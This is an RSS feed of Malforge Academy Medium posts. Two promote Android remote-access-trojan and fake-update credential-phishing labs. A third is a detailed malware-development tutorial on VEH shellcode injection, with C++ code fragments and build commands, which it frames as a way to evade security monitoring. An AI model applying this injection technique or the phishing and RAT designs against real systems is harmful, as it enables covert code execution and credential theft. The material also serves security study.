<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Malforge Academy on Medium]]></title>
        <description><![CDATA[Stories by Malforge Academy on Medium]]></description>
        <link>https://medium.com/@sid4hack?source=rss-e69e584e945------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_UTu4xywr4sTitdPFUy66A.jpeg</url>
            <title>Stories by Malforge Academy on Medium</title>
            <link>https://medium.com/@sid4hack?source=rss-e69e584e945------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 00:26:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sid4hack/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Android Pocket RAT]]></title>
            <link>https://sid4hack.medium.com/android-pocket-rat-57d567e321b3?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/57d567e321b3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Sun, 16 Aug 2026 13:15:10 GMT</pubDate>
            <atom:updated>2026-08-16T13:15:10.553Z</atom:updated>
            <content:encoded><![CDATA[<h4>Control Any Phone Remotely from Your Browser</h4><p>Hello everyone,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LdgAT_NMtvgk198x1KMqgw.png" /></figure><p>This article analyzes a controlled security lab demonstrating how lightweight Android <strong>RATs</strong> (Remote Access Trojans) establish bidirectional command-and-control (C2) communication. Understanding these mechanics is essential for mobile threat detection and incident response.</p><h3>The Lab Environment</h3><p>The complete technical walkthrough , including the Android service, Flask C2 panel, and testing instructions — is available as an open educational resource:</p><p><a href="https://github.com/Malforge-Public-Organization/Android-Pocket-RAT-I">GitHub - Malforge-Public-Organization/Android-Pocket-RAT-I: Free Module 2: An educational Android Command and Control (C2) lab. Demonstrates how lightweight Remote Access Trojans (RATs) maintain bidirectional communication via HTTP polling to execute remote commands. Includes a Kotlin client and Python/Flask dashboard. For defense analysis only.</a></p><p>This lab is designed for security researchers, red teams, and mobile developers who need hands-on experience with real-world attack vectors in isolated environments.</p><p><a href="https://malforge-group.in/">Malforge Academy</a></p><blockquote>Run this lab in your test environment. Build detection rules around it. Train your team to recognize the signs.</blockquote><h4>MALFORGE GROUP/ACADEMY</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57d567e321b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Fake Update Phisher]]></title>
            <link>https://sid4hack.medium.com/android-fake-update-phisher-89c1d9c3d17f?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/89c1d9c3d17f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Sun, 16 Aug 2026 13:01:45 GMT</pubDate>
            <atom:updated>2026-08-16T13:01:45.070Z</atom:updated>
            <content:encoded><![CDATA[<h4><em>Steal Google / Bank Credentials with a Fake System Update</em></h4><p>Hello everyone,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ApGC6iFuFScj0F0rvgS8FQ.png" /></figure><p>Fake system update phishing is one of the most effective social engineering techniques used by modern Android banking trojans like Cerberus, Medusa, Octo, Joker, and Xenomorph.</p><p>The attack is deceptively simple: the victim receives a high-priority notification claiming a “System Security Update” is required. When tapped, a full-screen overlay mimicking a legitimate Google or banking login appears. The victim enters their credentials — and the attacker receives them in real-time.</p><p>In this article, we’ll build this attack in a controlled lab environment so you can understand exactly how it works, what the code looks like, and most importantly — how to detect and prevent it.</p><h4>Full Repo:</h4><blockquote>How Modern Banking Trojans Use Fake System Updates to Steal Credentials — And How to Defend Against Them</blockquote><p><a href="https://github.com/Malforge-Public-Organization/Android-Fake-Update-Phisher-B">GitHub - Malforge-Public-Organization/Android-Fake-Update-Phisher-B: Free Module 1: An educational Android security lab demonstrating how modern banking trojans steal credentials using fake system update notifications and full-screen phishing overlays. Includes a Kotlin Android app and a Python Flask C2 dashboard for real-time exfiltration. For research and defense analysis only.</a></p><h4>Ethical Reminder</h4><blockquote>This article is a walkthrough of a controlled security lab designed to teach Android malware analysis. The code shown is for educational purposes only, run in isolated emulator environments, and should never be used maliciously.</blockquote><h4>MALFORGE GROUP/ACADEMY</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89c1d9c3d17f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Development Part 14: Vectored Exception Handling (VEH) Injection Technique]]></title>
            <link>https://sid4hack.medium.com/malware-development-part-14-vectored-exception-handling-veh-injection-technique-98d804adac5c?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/98d804adac5c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Sat, 21 Mar 2026 08:07:51 GMT</pubDate>
            <atom:updated>2026-03-21T08:07:51.885Z</atom:updated>
            <content:encoded><![CDATA[<p><em>“VEH Injection: Abusing Windows Exceptions for Covert Execution”</em></p><h4>Core Idea</h4><p>Abuse the Windows Vectored Exception Handling (VEH) infrastructure to execute arbitrary code by registering a handler, triggering a controlled hardware exception (UD2), and intercepting the dispatch to spawn a thread at a malicious entry point, all while avoiding direct control-flow transfers that security solutions monitor.</p><h3>Table of Contents</h3><ol><li>Architecture Overview</li><li>Line-by-Line Deep Analysis</li><li>Memory Layout &amp; ABI</li><li>Exception Handling Internals</li><li>Build &amp; Deployment</li><li>POC</li></ol><blockquote>Unlock this complete module along with unlimited Windows malware development modules, enjoy lifetime access with no restrictions.</blockquote><p><a href="https://malforge-group.in/">Malforge Academy</a></p><h3>1. Architecture Overview</h3><h4>System Architecture Diagram</h4><pre>┌─────────────────────────────────────────────────────────────────────────────┐<br>│                           USER MODE (Ring 3)                                 │<br>│  ┌─────────────────────────────────────────────────────────────────────────┐ │<br>│  │                         APPLICATION LAYER                               │ │<br>│  │  ┌─────────────┐    ┌─────────────┐    ┌─────────────┐    ┌──────────┐ │  │<br>│  │  │   main()    │───→│   Setup     │───→│  Trigger    │───→│  Handler │ │  │<br>│  │  │   Entry     │    │  (Memory)   │    │   (UD2)     │    │  (VEH)   │ │  │<br>│  │  └─────────────┘    └─────────────┘    └─────────────┘    └────┬─────┘ │  │<br>│  │                                                                │       │  │<br>│  │  ┌─────────────┐    ┌─────────────┐    ┌───────────────────────┘       │  │<br>│  │  │   Cleanup   │←───│   Resume    │←───│   CreateThread (shellcode)    │  │<br>│  │  │   (RAII)    │    │   (Rip+=2)  │    │   WaitForSingleObject         │  │<br>│  │  └─────────────┘    └─────────────┘    └───────────────────────────────┘ ││<br>│  └─────────────────────────────────────────────────────────────────────────┘ │<br>│                                    │                                         │<br>│  ┌─────────────────────────────────────────────────────────────────────────┐ │<br>│  │                         RUNTIME LAYER (NTDLL)                           │ │<br>│  │  ┌─────────────┐    ┌─────────────┐    ┌─────────────┐                  │ │<br>│  │  │   VEH List  │    │   Exception │    │   Thread    │                  │ │<br>│  │  │  (Ldrp*)    │    │  Dispatcher │    │   Manager   │                  │ │<br>│  │  └─────────────┘    └──────┬──────┘    └─────────────┘                  │ │<br>│  └────────────────────────────┼────────────────────────────────────────────┘ │<br>│                              │                                               │<br>└──────────────────────────────┼───────────────────────────────────────────────┘<br>                               │<br>┌──────────────────────────────┼───────────────────────────────────────────────┐<br>│                           KERNEL MODE (Ring 0)                               │<br>│  ┌───────────────────────────┴─────────────────────────────────────────────┐ │<br>│  │                         NTOSKRNL                                        │ │<br>│  │  ┌─────────────┐    ┌─────────────┐    ┌─────────────┐                  │ │<br>│  │  │   Memory    │    │   Exception │    │   Thread    │                  │ │<br>│  │  │   Manager   │    │  Dispatcher │    │  Scheduler  │                  │ │<br>│  │  │  (Mm*,Vm*)  │    │   (Ki*)     │    │   (Ke*)     │                  │ │<br>│  │  └─────────────┘    └─────────────┘    └─────────────┘                  │ │<br>│  └─────────────────────────────────────────────────────────────────────────┘ │<br>└─────────────────────────────────────────────────────────────────────────────┘</pre><h3>2. Line-by-Line Deep Analysis</h3><p><strong>Module 2.1: Header &amp; Type System</strong></p><pre>#include &lt;windows.h&gt;     <br>#include &lt;iostream&gt;       </pre><p><strong>Analysis:</strong></p><pre>| Header      | Content                                                                                      | Size Impact                   | ABI Contracts                                                |<br>| ----------- | -------------------------------------------------------------------------------------------- | ----------------------------- | ------------------------------------------------------------ |<br>| `windows.h` | ~15,000 lines via recursive includes (`windef.h`, `winnt.h`, `winbase.h`, `winsock.h`, etc.) | +50KB preprocessed            | `WINAPI` = `__stdcall` (callee clean), `NTAPI` = `__stdcall` |<br>| `iostream`  | C++ standard I/O stream objects (`std::cin`, `std::cout`, `std::cerr`)                       | +200KB static if fully linked | CRT initialization required (`mainCRTStartup`)               |</pre><p><strong>Critical Macro Expansions:</strong></p><ul><li>WINAPI → __attribute__((stdcall)) (MinGW) or __stdcall (MSVC)</li><li>LPVOID → void* (legacy &quot;Long Pointer&quot; from Win16 segmented memory)</li><li>DWORD → unsigned long (32-bit, fixed width)</li><li>SIZE_T → ULONG_PTR → unsigned long long (x64) or unsigned long (x86)</li></ul><p><strong>Module 2.2: Shellcode Data Section</strong></p><pre>unsigned char shellcode[] = { 0xFC, 0x48, ... 0x00 };  </pre><p><strong>Memory Layout Analysis:</strong></p><pre>PE Section: .rdata (READONLY DATA)<br>┌─────────────────────────────────────────────────────────┐<br>│  Address: ImageBase + .rdata RVA                        │<br>│  Characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA |      │<br>│                   IMAGE_SCN_MEM_READ                    │<br>│                                                         │<br>│  Layout:                                                │<br>│  ├─ [0xFC, 0x48, ...]  (shellcode bytes 0-275)          │<br>│  │   └── Position-independent x64 code                  │<br>│  │       ├── Stack alignment (0xFC = CLD, 0x48 0x83 0xE4 0xF0 = AND RSP, -0x10) │<br>│  │       ├── PEB walking to find kernel32.dll           │<br>│  │       ├── Export table parsing for WinExec/ExitThread│<br>│  │       └── WinExec(&quot;calc.exe&quot;) invocation             │<br>│  └─ 0x00 (null terminator)                              │<br>│                                                         │<br>│  Size: 276 bytes (0x114)                                │<br>│  Alignment: 16 bytes (default)                          │<br>└─────────────────────────────────────────────────────────┘</pre><p><strong>Position-Independent Code (PIC) Characteristics:</strong></p><ul><li>No absolute addresses (RIP-relative addressing: RIP + offset)</li><li>Self-relocating via Process Environment Block (PEB) at GS:[0x60]</li><li>Dynamically resolves kernel32.dll!WinExec and kernel32!ExitThread</li></ul><p><strong>Module 2.3: Global State Management</strong></p><pre>LPVOID shellcodeAddr = NULL; </pre><p><strong>Design Pattern Analysis:</strong></p><pre>| Aspect               | Current Implementation       | Modern Alternative             | Trade-off                                                                                  |<br>| -------------------- | ---------------------------- | ------------------------------ | ------------------------------------------------------------------------------------------ |<br>| **Storage Duration** | Static (global)              | `thread_local`                 | Global: accessible from C callback; TLS: thread-safe but requires `TlsGetValue` in handler |<br>| **Type Safety**      | `void*` (opaque)             | `std::unique_ptr&lt;std::byte[]&gt;` | Raw pointer allows cast to function pointer; smart pointer prevents accidental misuse      |<br>| **Initialization**   | Zero-initialization (`NULL`) | Constructor initialization     | POD type ensures no dynamic initialization order fiasco                                    |<br>| **Lifetime**         | Program duration             | Scoped to usage                | Must outlive VEH registration                                                              |</pre><p><strong>Critical Constraint:</strong> VEH callbacks receive only PEXCEPTION_POINTERS—no user context parameter. Global state is required for C-style callback compatibility.</p><p><strong>Module 2.4: Exception Handler ABI Contract</strong></p><pre>LONG WINAPI MyVectoredHandler(PEXCEPTION_POINTERS ExceptionInfo)  </pre><p><strong>Calling Convention Deep Dive:</strong></p><pre>┌─────────────────────────────────────────────────────────┐<br>│  x64 Windows ABI (Microsoft)                            │<br>├─────────────────────────────────────────────────────────┤<br>│  Register Usage:                                        │<br>│  ├── RCX, RDX, R8, R9: First 4 integer arguments        │<br>│  ├── XMM0-XMM3: First 4 floating-point arguments        │<br>│  ├── RAX: Return value                                  │<br>│  ├── RSP: Stack pointer (must be 16-byte aligned)       │<br>│  └── Shadow space: 32 bytes reserved above return address│<br>│                                                         │<br>│  WINAPI (__stdcall) on x64:                             │<br>│  └── Same as default x64 ABI (unlike x86 __stdcall)     │<br>│                                                         │<br>│  Stack Frame:                                           │<br>│  ├─ [RSP+0x00]: Return address                          │<br>│  ├─ [RSP+0x08]: Shadow space (arg 1 home)               │<br>│  ├─ [RSP+0x10]: Shadow space (arg 2 home)               │<br>│  ├─ [RSP+0x18]: Shadow space (arg 3 home)               │<br>│  ├─ [RSP+0x20]: Shadow space (arg 4 home)               │<br>│  └─ [RSP+0x28]: Local variables / spill                 │<br>└─────────────────────────────────────────────────────────┘</pre><p><strong>Parameter Analysis:</strong></p><ul><li>ExceptionInfo (RCX): Pointer to EXCEPTION_POINTERS structure</li><li>Structure allocated by kernel on stack, filled during KiDispatchException</li></ul><p><strong>Module 2.5: Exception Filtering Logic</strong></p><pre>if (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == EXCEPTION_ILLEGAL_INSTRUCTION)  // Line 50</pre><p><strong>Data Structure Hierarchy:</strong></p><pre>PEXCEPTION_POINTERS<br>├── ExceptionRecord: PEXCEPTION_RECORD<br>│   ├── ExceptionCode: DWORD (NTSTATUS subset)<br>│   │   └── 0xC000001D = STATUS_ILLEGAL_INSTRUCTION<br>│   ├── ExceptionFlags: DWORD<br>│   │   └── 0 = continuable, 1 = non-continuable<br>│   ├── ExceptionRecord: PEXCEPTION_RECORD (chained)<br>│   ├── ExceptionAddress: PVOID (RIP at fault)<br>│   ├── NumberParameters: DWORD<br>│   └── ExceptionInformation: ULONG_PTR[15]<br>│<br>└── ContextRecord: PCONTEXT<br>    ├── ContextFlags: DWORD (CONTEXT_CONTROL | CONTEXT_INTEGER, etc.)<br>    ├── Rax, Rcx, Rdx, Rbx, Rsp, Rbp, Rsi, Rdi, R8-R15: ULONG_PTR<br>    ├── Rip: ULONG64 (Instruction Pointer - MODIFIABLE)<br>    ├── SegCs, SegDs, etc.: USHORT<br>    └── Floating point / vector registers</pre><p><strong>Filtering Rationale:</strong></p><ul><li>EXCEPTION_ILLEGAL_INSTRUCTION (0xC000001D): Hardware-generated, not software</li><li>Distinguishes from EXCEPTION_ACCESS_VIOLATION (0xC0000005), EXCEPTION_INT_DIVIDE_BY_ZERO (0xC0000094), etc.</li><li>Ensures handler only responds to intentional UD2 trigger</li></ul><p><strong>Module 2.6: Context Manipulation</strong></p><pre>ExceptionInfo-&gt;ContextRecord-&gt;Rip += 2;  // Line 52</pre><p><strong>CPU State Modification:</strong></p><pre>| Before                       | After                            | Semantics          |<br>| ---------------------------- | -------------------------------- | ------------------ |<br>| `Rip` = `&amp;__ud2_instruction` | `Rip` = `&amp;__ud2_instruction + 2` | Skip 2-byte opcode |</pre><p><strong>UD2 Instruction Encoding:</strong></p><pre>UD2: 0x0F 0x0B (2 bytes, guaranteed undefined on all x86/x64 CPUs)<br>     ^ Opcode  ^ ModR/M (invalid combination that raises #UD)</pre><p><strong>Critical Consequence:</strong> Without this increment, NtContinue would re-execute UD2, causing infinite exception loop (live lock).</p><p><strong>Module 2.7: Thread Creation &amp; Execution</strong></p><pre>DWORD threadId;<br>HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, NULL, 0, &amp;threadId);  // Line 58</pre><p><strong>API Parameter Analysis:</strong></p><pre>HANDLE CreateThread(<br>    LPSECURITY_ATTRIBUTES   lpThreadAttributes,  // NULL: default security descriptor<br>    SIZE_T                dwStackSize,         // 0: default (1MB, linker /STACK option)<br>    LPTHREAD_START_ROUTINE lpStartAddress,      // shellcodeAddr: entry point (CRITICAL CAST)<br>    LPVOID                lpParameter,         // NULL: no argument to thread function<br>    DWORD                 dwCreationFlags,     // 0: run immediately (vs. CREATE_SUSPENDED)<br>    LPDWORD               lpThreadId           // &amp;threadId: output parameter<br>);</pre><p><strong>Type System Violation (C++ Perspective):</strong></p><pre>// C++ Standard: Undefined Behavior (ISO C++ [expr.reinterpret.cast]/7)<br>(LPTHREAD_START_ROUTINE)shellcodeAddr  // void* → function pointer<br><br>// Windows ABI: Permitted due to flat memory model<br>// Both data and code pointers are 64-bit virtual addresses<br>// No segmentation, no near/far pointer distinction (unlike Win16)</pre><p><strong>Thread Creation Internals:</strong></p><pre>CreateThread Kernel Path:<br>├── Kernel32.dll: Parameter validation, stack size alignment<br>├── NTDLL.dll: NtCreateThreadEx syscall preparation<br>├── Kernel (NtCreateThreadEx):<br>│   ├── PsCreateSystemThread / PspCreateThread<br>│   ├── ETHREAD allocation (Executive Thread object)<br>│   ├── KTHREAD initialization (Kernel Thread object)<br>│   ├── TEB allocation (Thread Environment Block) at TEB_BASE<br>│   ├── Initial context setup: Rip = shellcodeAddr, Rsp = TEB.StackBase<br>│   ├── KeInitializeApc: Queue user-mode APC for thread start<br>│   └── NtResumeThread (implicit, dwCreationFlags = 0)<br>└── Return to user mode: Thread enters Ready state, scheduler dispatches</pre><p><strong>Module 2.8: Synchronization &amp; Cleanup</strong></p><pre>WaitForSingleObject(hThread, INFINITE); <br>CloseHandle(hThread); </pre><p><strong>Synchronization Primitive:</strong></p><pre>| API                   | Object Type               | Wait Condition                                          | Return              |<br>| --------------------- | ------------------------- | ------------------------------------------------------- | ------------------- |<br>| `WaitForSingleObject` | Thread handle (`hThread`) | Thread object enters Signaled state (thread terminates) | `WAIT_OBJECT_0` (0) |</pre><p><strong>Handle Lifecycle:</strong></p><pre>HANDLE State Machine:<br>├── CreateThread: Reference count = 1, Handle table entry created<br>├── WaitForSingleObject: No reference change, dispatcher wait<br>├── CloseHandle: Reference count--, if 0: object deletion<br>│   └── Thread object may persist if thread still running (reference from ETHREAD)<br>└── Thread termination: Object signaled, waiters released</pre><p><strong>Module 2.9: Handler Return Semantics</strong></p><pre>return EXCEPTION_CONTINUE_EXECUTION; <br>// or<br>return EXCEPTION_CONTINUE_SEARCH;  </pre><p><strong>Exception Disposition Values:</strong></p><pre>| Constant                       | Value | Meaning                               | Kernel Action                                   |<br>| ------------------------------ | ----- | ------------------------------------- | ----------------------------------------------- |<br>| `EXCEPTION_CONTINUE_EXECUTION` | 0     | &quot;Handled, resume at modified context&quot; | `NtContinue` with modified `CONTEXT`            |<br>| `EXCEPTION_CONTINUE_SEARCH`    | 1     | &quot;Not handled, try next handler&quot;       | Traverse VEH list → SEH chain → default handler |</pre><p><strong>Module 2.10: Main Function — Memory Allocation</strong></p><pre>SIZE_T shellcodeSize = sizeof(shellcode);  <br>shellcodeAddr = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  // Line 76</pre><p><strong>Memory Manager Internals:</strong></p><pre>VirtualAlloc Operation:<br>├── Input: NULL base (system chooses), 276 bytes, RWX protection<br>├── Memory Manager (MiAllocateVirtualMemory):<br>│   ├── VAD (Virtual Address Descriptor) tree search for free region<br>│   ├── 64KB alignment enforced for NULL base<br>│   ├── MEM_RESERVE: VAD entry created, no physical pages<br>│   └── MEM_COMMIT: Page table entries populated, PFN database updated<br>├── Protection: PAGE_EXECUTE_READWRITE (PTE[63] NX bit = 0)<br>└── Return: Base address of allocated region (e.g., 0x000001F00000)</pre><p><strong>Page Table Entry (PTE) Flags:</strong></p><pre>PTE (x64, 64-bit entry):<br>├─ Bits 0-11: Flags<br>│   ├─ Bit 0 (P): Present = 1<br>│   ├─ Bit 1 (R/W): Read/Write = 1 (from PAGE_EXECUTE_READWRITE)<br>│   ├─ Bit 2 (U/S): User/Supervisor = 1 (user accessible)<br>│   ├─ Bit 63 (NX): No-Execute = 0 (EXECUTE permission granted)<br>│   └─ Other: Accessed, Dirty, Global, etc.<br>└─ Bits 12-51: Physical Page Frame Number (PFN)</pre><p><strong>Module 2.11: Data Staging</strong></p><pre>memcpy(shellcodeAddr, shellcode, shellcodeSize);  </pre><p><strong>Memory Operation Analysis:</strong></p><pre>| Aspect     | Source                     | Destination                | Operation                         |<br>| ---------- | -------------------------- | -------------------------- | --------------------------------- |<br>| Address    | `&amp;shellcode[0]` (`.rdata`) | `shellcodeAddr` (RWX heap) | Byte-wise copy                    |<br>| Protection | Read-only                  | Read-Write-Execute         | Violates W^X principle            |<br>| Caching    | Likely CPU cache           | Write-combined or cached   | `memcpy` implementation dependent |</pre><p><strong>Security Implication:</strong> This pattern (allocate RWX → copy data → execute) is primary signature for shellcode staging, detected by behavioral monitoring.</p><p><strong>Module 2.12: VEH Registration</strong></p><pre>PVOID vehHandle = AddVectoredExceptionHandler(1, MyVectoredHandler); </pre><p><strong>NTDLL Data Structure:</strong></p><pre>LdrpVectorHandlerList (RTL_INVERTED_FUNCTION_TABLE_HEADER):<br>├── Lock: RtlpVehLock (RTL_CRITICAL_SECTION)<br>├── ListHead: LIST_ENTRY (Flink, Blink)<br>│   └── Entries: _VECTORED_HANDLER_ENTRY<br>│       ├── Flink/Blink: LIST_ENTRY<br>│       ├── Handler: PVECTORED_EXCEPTION_HANDLER<br>│       └── RefCount: ULONG<br>│<br>└── Insertion (First = 1):<br>    ├── RtlEnterCriticalSection(&amp;RtlpVehLock)<br>    ├── InsertHeadList(&amp;ListHead, &amp;NewEntry-&gt;ListEntry)<br>    └── RtlLeaveCriticalSection(&amp;RtlpVehLock)</pre><p>Priority System:</p><ul><li>First = 1: Insert at ListHead.Flink (first to be called)</li><li>First = 0: Insert at ListHead.Blink (last to be called)</li><li>Multiple First = 1 handlers: LIFO order (most recent first)</li></ul><p><strong>Module 2.13: Trigger Mechanism</strong></p><pre>Sleep(2000); <br>__asm__ __volatile__ (&quot;ud2&quot; ::: &quot;memory&quot;);  </pre><p><strong>Delay Mechanism:</strong></p><pre>Sleep(2000) → NtDelayExecution:<br>├── Alertable = FALSE (default)<br>├── Timeout = -20000000 (100ns units, relative)<br>├── Thread state: Waiting (DelayExecution)<br>├── No APC delivery (non-alertable)<br>└── Return: After ~2000ms (timer resolution dependent, typically 15.6ms)</pre><p><strong>Hardware Exception Generation:</strong></p><pre>UD2 Execution:<br>├── CPU Decoder: Fetches 0x0F 0x0B<br>├── Opcode Analysis: Recognized as guaranteed undefined<br>├── #UD Fault Raised<br>├── Privilege Check: Current CPL = 3 (user mode)<br>├── IDT Lookup: Index 6 (#UD handler)<br>├── Ring Transition: CPL 3 → 0 via interrupt gate<br>└── Kernel Entry: KiExceptionDispatch</pre><p><strong>GCC Extended Assembly Breakdown:</strong></p><pre>| Component      | Syntax               | Purpose                              |<br>| -------------- | -------------------- | ------------------------------------ |<br>| `__asm__`      | Keyword              | Introduces assembly block            |<br>| `__volatile__` | Modifier             | Prevent dead-code elimination        |<br>| `&quot;ud2&quot;`        | Instruction template | Literal opcode bytes                 |<br>| `::: &quot;memory&quot;` | Clobber list         | Memory barrier (prevents reordering) |</pre><p><strong>Module 2.14: Cleanup Sequence</strong></p><pre>RemoveVectoredExceptionHandler(vehHandle);  <br>VirtualFree(shellcodeAddr, 0, MEM_RELEASE);  </pre><p><strong>Resource Release Order:</strong></p><pre>Critical Sequence:<br>1. RemoveVectoredExceptionHandler<br>   └── Unlinks from LdrpVectorHandlerList<br>   └── After this, handler will not be called for new exceptions<br><br>2. VirtualFree(shellcodeAddr, 0, MEM_RELEASE)<br>   └── dwSize = 0: Required for MEM_RELEASE (frees entire VAD)<br>   └── MEM_RELEASE: Both decommit and release<br>   └── PTEs zeroed, physical pages returned to PFN database<br><br>Safety: If reversed (VirtualFree before Remove), race condition exists<br>where exception could dispatch to handler referencing freed memory.</pre><h3>3. Memory Layout &amp; ABI</h3><h4><strong>Complete Memory Map (Runtime)</strong></h4><pre>Process Virtual Address Space (x64, 128TB theoretical):<br>├─ 0x00000000&#39;00000000 - 0x00007FFF&#39;FFFFFFFF: User mode (128TB)<br>│  ├─ 0x00000000&#39;00010000: Executable base (ASLR randomized)<br>│  │  ├─ .text (code): main(), MyVectoredHandler<br>│  │  ├─ .rdata: shellcode[] (276 bytes, read-only)<br>│  │  ├─ .data: shellcodeAddr (global variable)<br>│  │  └─ .pdata: Exception handling metadata<br>│  │<br>│  ├─ 0x000001F0&#39;00000000: Heap (segment heap, randomized)<br>│  │  └─ shellcodeAddr region (4KB page, RWX)<br>│  │      ├── [0x00-0x113]: Copied shellcode bytes<br>│  │      └── [0x114-0xFFF]: Zero-filled (page alignment)<br>│  │<br>│  ├─ 0x00007FF6&#39;00000000: NTDLL.dll (system, randomized)<br>│  │  └─ LdrpVectorHandlerList, RtlpAddVectoredHandler<br>│  │<br>│  ├─ 0x00007FF7&#39;00000000: Kernel32.dll (system, randomized)<br>│  │  └─ VirtualAlloc, CreateThread, Sleep<br>│  │<br>│  └─ 0x00007FFE&#39;00000000: TEB (Thread Environment Block)<br>│      └── Stack: [StackLimit - StackBase] = ~1MB<br>│          └── Exception dispatch frame (CONTEXT, EXCEPTION_RECORD)<br>│<br>└─ 0xFFFF0800&#39;00000000 - 0xFFFFFFFF&#39;FFFFFFFF: Kernel mode (higher half)<br>   └── System space (not accessible from user mode)</pre><h3>4. Exception Handling Internals</h3><h4><strong>Detailed Exception Dispatch Flow</strong></h4><pre>┌─────────────────────────────────────────────────────────────────────────┐<br>│                         EXCEPTION DISPATCH PIPELINE                     │<br>├─────────────────────────────────────────────────────────────────────────┤<br>│                                                                         │<br>│  1. HARDWARE EXCEPTION                                                  │<br>│     ├── CPU executes UD2 at RIP = 0x&lt;address&gt;                           │<br>│     ├── #UD fault raised, CPL = 3                                       │<br>│     └── IDT[6] → KiExceptionDispatch (kernel)                           │<br>│                                                                         │<br>│  2. KERNEL MODE (Ring 0)                                                │<br>│     ├── KiExceptionDispatch:                                            │<br>│     │   ├── KxExceptionDispatch (x64 assembly entry)                    │<br>│     │   ├── KiDispatchException:                                        │<br>│     │   │   ├── ExceptionRecord creation (ExceptionCode = 0xC000001D)   │<br>│     │   │   ├── ContextRecord capture (all registers)                   │<br>│     │   │   └── RtlDispatchException (user-mode callback setup)         │<br>│     │   └── NtContinue preparation (if handler returns CONTINUE)        │<br>│     └── Transition to user mode via KiUserExceptionDispatcher           │<br>│                                                                         │<br>│  3. USER MODE - NTDLL (Ring 3)                                          │<br>│     ├── RtlDispatchException:                                           │<br>│     │   ├── RtlpCallVectoredHandlers:                                   │<br>│     │   │   ├── Acquire RtlpVehLock (critical section)                  │<br>│     │   │   ├── Walk LdrpVectorHandlerList (FIFO for First=1)           │<br>│     │   │   │   └── Call MyVectoredHandler(&amp;ExceptionPointers)          │<br>│     │   │   │       ├── Check ExceptionCode == EXCEPTION_ILLEGAL_INSTRUCTION │<br>│     │   │   │       ├── ContextRecord-&gt;Rip += 2                         │<br>│     │   │   │       ├── CreateThread(shellcodeAddr)                     │<br>│     │   │   │       ├── WaitForSingleObject                             │<br>│     │   │   │       └── Return EXCEPTION_CONTINUE_EXECUTION (0)         │<br>│     │   │   ├── Release RtlpVehLock                                     │<br>│     │   │   └── Return to RtlDispatchException with disposition         │<br>│     │   └── If CONTINUE_EXECUTION: NtContinue(&amp;ModifiedContext)         │<br>│     └── NtContinue:                                                     │<br>│         ├── Kernel transition (syscall)                                 │<br>│         ├── KiContinue: Validate context                                │<br>│         └── Return to user mode at Context.Rip (after UD2)              │<br>│                                                                         │<br>│  4. RESUME EXECUTION                                                    │<br>│     ├── RIP = original_UD2_address + 2                                  │<br>│     ├── All registers restored (except modified Rip)                    │<br>│     └── Continue main() at std::cout &lt;&lt; &quot;[+] Execution resumed...&quot;      │<br>│                                                                         │<br>└─────────────────────────────────────────────────────────────────────────┘</pre><h3>5. Build &amp; Deployment</h3><h4><strong>Complete Cross-Compilation System</strong></h4><p><strong>5.1 Kali Linux Environment Setup</strong></p><pre>#!/bin/bash<br># setup_env.sh - Run on Kali Linux<br><br># Update and install toolchain<br>sudo apt update &amp;&amp; sudo apt upgrade -y<br>sudo apt install -y \<br>    mingw-w64 \<br>    g++-mingw-w64-x86-64 \<br>    binutils-mingw-w64-x86-64 \<br>    cmake \<br>    ninja-build<br><br># Verify installation<br>echo &quot;=== Toolchain Verification ===&quot;<br>x86_64-w64-mingw32-g++ --version<br>x86_64-w64-mingw32-ld --version</pre><p><strong>5.2 Direct Compilation (One-Liner)</strong></p><pre># Minimal compilation<br>x86_64-w64-mingw32-g++ -o veh_injection.exe veh_poc.cpp -static-libgcc -static-libstdc++ -Wl,--subsystem,console -O2 -Wall -Wextra -m64<br><br># Verification<br>file veh_injection.exe<br># Output: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows</pre><h3>6. POC:</h3><ol><li>Save code <strong>(veh_poc.cpp)</strong></li><li>Compile <strong><em>veh_poc.cpp</em></strong></li></ol><figure><img alt="" 